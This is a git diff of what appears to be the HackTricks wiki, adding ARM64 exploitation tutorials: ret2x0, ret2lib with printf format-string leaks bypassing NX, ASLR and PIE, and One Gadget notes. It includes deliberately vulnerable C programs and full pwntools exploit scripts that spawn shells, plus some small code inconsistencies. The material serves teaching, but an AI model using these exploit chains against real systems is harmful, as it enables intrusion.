GITBOOK-4308: No subject
BIN
.gitbook/assets/image (1212).png
Normal file
After Width: | Height: | Size: 188 KiB |
BIN
.gitbook/assets/image (1213).png
Normal file
After Width: | Height: | Size: 36 KiB |
BIN
.gitbook/assets/image (1214).png
Normal file
After Width: | Height: | Size: 213 KiB |
BIN
.gitbook/assets/image (1215).png
Normal file
After Width: | Height: | Size: 244 KiB |
BIN
.gitbook/assets/image (1216).png
Normal file
After Width: | Height: | Size: 209 KiB |
BIN
.gitbook/assets/image (1217).png
Normal file
After Width: | Height: | Size: 562 KiB |
BIN
.gitbook/assets/image (1218).png
Normal file
After Width: | Height: | Size: 297 KiB |
BIN
.gitbook/assets/image (1219).png
Normal file
After Width: | Height: | Size: 230 KiB |
BIN
.gitbook/assets/image (1220).png
Normal file
After Width: | Height: | Size: 45 KiB |
BIN
.gitbook/assets/image (1221).png
Normal file
After Width: | Height: | Size: 247 KiB |
BIN
.gitbook/assets/image (1222).png
Normal file
After Width: | Height: | Size: 394 KiB |
BIN
.gitbook/assets/image (1223).png
Normal file
After Width: | Height: | Size: 258 KiB |
|
@ -705,6 +705,7 @@
|
|||
* [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
* [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
|
|
|
@ -92,7 +92,6 @@ target.sendline(payload)
|
|||
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
|
||||
```
|
||||
|
||||
## Ret2reg
|
||||
|
@ -107,6 +106,93 @@ You can find some examples here: 
|
|||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
|
||||
* **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
|
||||
|
||||
## ARM64
|
||||
|
||||
### Ret2sp
|
||||
|
||||
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
for i in `seq 1 30`; do
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1221).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ret2reg
|
||||
|
||||
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
|
||||
|
||||
Example code:
|
||||
|
||||
```c
|
||||
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("br x0");
|
||||
return;
|
||||
}
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1222).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1223).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./ret2x0')
|
||||
elf = context.binary = ELF('./ret2x0')
|
||||
|
||||
stack_offset = 72
|
||||
shellcode = asm(shellcraft.sh())
|
||||
br_x0 = p64(0x4006a0) # Addr of: br x0;
|
||||
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
|
||||
With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
|
||||
{% endhint %}
|
||||
|
||||
## Protections
|
||||
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
|
||||
|
|
|
@ -137,9 +137,21 @@ Check the example from:
|
|||
[..](../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ARM64 Ret2lib Example
|
||||
|
||||
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
|
||||
|
||||
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
|
||||
|
||||
Check the example from:
|
||||
|
||||
{% content-ref url="ret2lib-+-printf-leak-arm64.md" %}
|
||||
[ret2lib-+-printf-leak-arm64.md](ret2lib-+-printf-leak-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ret-into-printf (or puts)
|
||||
|
||||
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument.
|
||||
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
|
||||
|
||||
## Ret2printf
|
||||
|
||||
|
|
|
@ -32,6 +32,10 @@ To the address indicated by One Gadget you need to **add the base address where
|
|||
One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
|
||||
{% endhint %}
|
||||
|
||||
### ARM64
|
||||
|
||||
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
|
||||
|
||||
## Angry Gadget
|
||||
|
||||
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry\_gadget): Inspired by [OneGadget](https://github.com/david942j/one\_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
|
||||
|
|
|
@ -0,0 +1,241 @@
|
|||
# Ret2lib + Printf leak - arm64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Ret2lib - NX bypass with ROP (no ASLR)
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void bof()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
}
|
||||
|
||||
void main()
|
||||
{
|
||||
printfleak();
|
||||
bof();
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary:
|
||||
|
||||
```bash
|
||||
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
|
||||
# Disable aslr
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
### Find offset
|
||||
|
||||
### x30 offset
|
||||
|
||||
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1216).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Find system and `/bin/sh` string
|
||||
|
||||
As the ASLR is disabled, the addresses are going to be always the same:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Find Gadgets
|
||||
|
||||
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
|
||||
|
||||
Using rooper an interesting gadget was found:
|
||||
|
||||
```
|
||||
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
||||
```
|
||||
|
||||
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
||||
p = process('./rop') # For local binary
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000
|
||||
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
system = libc.sym["system"]
|
||||
|
||||
def expl_bof(payload):
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
|
||||
# Ret2main
|
||||
stack_offset = 108
|
||||
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
||||
|
||||
x29 = b"AAAAAAAA"
|
||||
x30 = p64(system)
|
||||
fill = b"A" * (0x18 - 0x10)
|
||||
x0 = p64(binsh)
|
||||
|
||||
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
p.close()
|
||||
```
|
||||
|
||||
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void printfleak()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nPrintf>\n");
|
||||
fgets(buf, sizeof(buf), stdin);
|
||||
printf(buf);
|
||||
}
|
||||
|
||||
void bof()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
}
|
||||
|
||||
void main()
|
||||
{
|
||||
printfleak();
|
||||
bof();
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
Compile **without canary**:
|
||||
|
||||
```bash
|
||||
clang -o rop rop.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
|
||||
### PIE and ASLR but no canary
|
||||
|
||||
* Round 1:
|
||||
* Leak of PIE from stack
|
||||
* Abuse bof to go back to main
|
||||
* Round 2:
|
||||
* Leak of libc from the stack
|
||||
* ROP: ret2system
|
||||
|
||||
### Printf leaks
|
||||
|
||||
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1220).png" alt="" width="440"><figcaption></figcaption></figure>
|
||||
|
||||
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
|
||||
|
||||
### x30 offset
|
||||
|
||||
See the previous example as the bof is the same.
|
||||
|
||||
### Find Gadgets
|
||||
|
||||
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
|
||||
|
||||
Using rooper another interesting gadget was found:
|
||||
|
||||
```
|
||||
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
|
||||
```
|
||||
|
||||
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
||||
p = process('./rop') # For local binary
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
|
||||
def leak_printf(payload, is_main_addr=False):
|
||||
p.sendlineafter(b">\n" ,payload)
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
if is_main_addr:
|
||||
response = response[:-4] + b"0000"
|
||||
return int(response, 16)
|
||||
|
||||
def expl_bof(payload):
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
|
||||
# Get main address
|
||||
main_address = leak_printf(b"%21$p", True)
|
||||
print(f"Bin address: {hex(main_address)}")
|
||||
|
||||
# Ret2main
|
||||
stack_offset = 108
|
||||
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
|
||||
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
|
||||
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
|
||||
expl_bof(ret2main)
|
||||
|
||||
# libc
|
||||
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
|
||||
libc.address = libc_base_address
|
||||
print(f"Libc address: {hex(libc_base_address)}")
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
system = libc.sym["system"]
|
||||
|
||||
# ret2system
|
||||
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
|
||||
|
||||
x29 = b"AAAAAAAA"
|
||||
x30 = p64(system)
|
||||
fill = b"A" * (0x78 - 0x10)
|
||||
x0 = p64(binsh)
|
||||
|
||||
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|